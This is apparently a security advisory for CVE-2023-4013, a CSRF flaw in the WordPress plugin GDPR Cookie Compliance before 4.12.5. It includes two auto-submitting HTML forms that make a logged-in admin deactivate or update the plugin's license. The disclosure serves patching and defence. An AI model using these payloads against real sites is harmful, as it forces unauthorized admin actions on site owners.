GDPR Cookie Compliance < 4.12.5 – License Update/Deactivation via CSRF | CVE 2023-4013

Description

The plugin does not have proper CSRF checks when managing its license, which could allow attackers to make logged in admins update and deactivate the plugin's license via CSRF attacks

Proof of Concept

Make a logged in admin open a page with the code below

To make them deactivate the license
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=moove-gdpr_licence&tab=licence" method="POST">
        <input type="text" name="gdpr_deactivate_license" value="1">
        <input type="submit" value="submit">
    </form>
</body>


To make them update the license (requires a valid license)
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=moove-gdpr_licence&tab=licence" method="POST">
        <input type="text" name="moove_gdpr_license_key" value="valid-license">
        <input type="text" name="gdpr_activate_license" value="1">
        <input type="submit" value="submit">
    </form>
</body>
